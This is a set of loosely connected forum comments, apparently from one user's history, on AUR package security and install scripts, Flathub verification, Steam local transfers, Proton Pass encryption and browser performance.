That’s not at all how it works.

flathub still allows unverified submissions which is what I proposed. So, no, it wouldn’t.

Can you show a reproducible example of this? I couldn’t get a <package>.install included in a test package I made without explicitly adding it as install=<package>.install.

I might be misremembering that detail or it might’ve changed since the last time I wrote a fresh PKGBUILD. Sorry I don’t have any examples because my project does not use an install script.

If you don’t trust people to read PKGBUILD’s I’m curious which form of software installation (outside of official repositories) you find safe.

My preference goes Arch repos -> official aur packages that I read the manifests of -> verified flatpaks that I read the manifests of -> Nix -> compile myself

Starts with:

it’d be nice if we sandboxed applications more.

Turns into:

you essentially can’t do anything about the applications themselves

Not only contradicting with themselves but are also wrong in both cases. I don’t know who tf is upvoting this pile of unintelligable crap.

but securing the installation process is straight forward these days.

No.

At the very least aur must verify you are associated with the domain name of the project, same as flathub.

Yeah good luck sandboxing a service running as root at boot. Maybe look at the malware next time before trying to call it meh?

As a package maintainer in AUR, I never understood the awe with it. You’re literally executing random shell scripts by strangers as root. It’s the same thing as curl | sudo bash except its a lot easier to hide malicious things.

Most people claim they read the PKGBUILD (which I don’t believe tbh) but I bet they don’t read <package>.install scripts which don’t have to be explicitly mentioned in the PKGBUILD if it shares the same name as the package.

I could push whatever I want to my package and hundreds of people will pick it up. Since I’m not a script kiddie like this guy, I could hide it much better too.

I guess what I’m saying is, don’t execute unvetted bash scripts as root kids. Open source doesn’t mean people verify the code. It just means they can.

For me, the unsuccessful attemp only happens when I configure them to transfer with anyone too. Its still unsuccessful but at least something starts then.

Steam already punches through the firewall so the user doesn’t have to do anything. I included the firewall info because someone would ask anyway.

The client here is a steamdeck and its hardware supports receiving. Either way, even if its cpu is bottlenecking, it’ll be faster than downloading from the internet.

Yeah steamplay works so the devices can communicate. That might be it, not sure. I have about twice the local transfer speed of my internet connection. If its trying to be smart, its wrong. Unfortunately, steam doesn’t tell you why its not working.

without effort?

The amount of fucks the UK public gives is so surprisingly low.

There are <250USD used frameworks?

lol I’ll just mute this convo

You can’t talk about E2EE on a closed source client.

Isn’t protonpass E2EE?

The only two sources for this that I know of are that one article from 2022 and a brief mention on GrapheneOS FAQ which doesn’t go into detail. Is there a more detailed and recent source for this?

I am not interested in that performance though. I have two extensions: ublock and darkreader. I care which is faster with these enabled: hardened firefox or hardened ungoogled chromium.

Blink and V8 are demonstrably ages ahead of Gecko and SpiderMonkey. It’s not even close. I just didn’t think it would be this noticable during day-to-day use.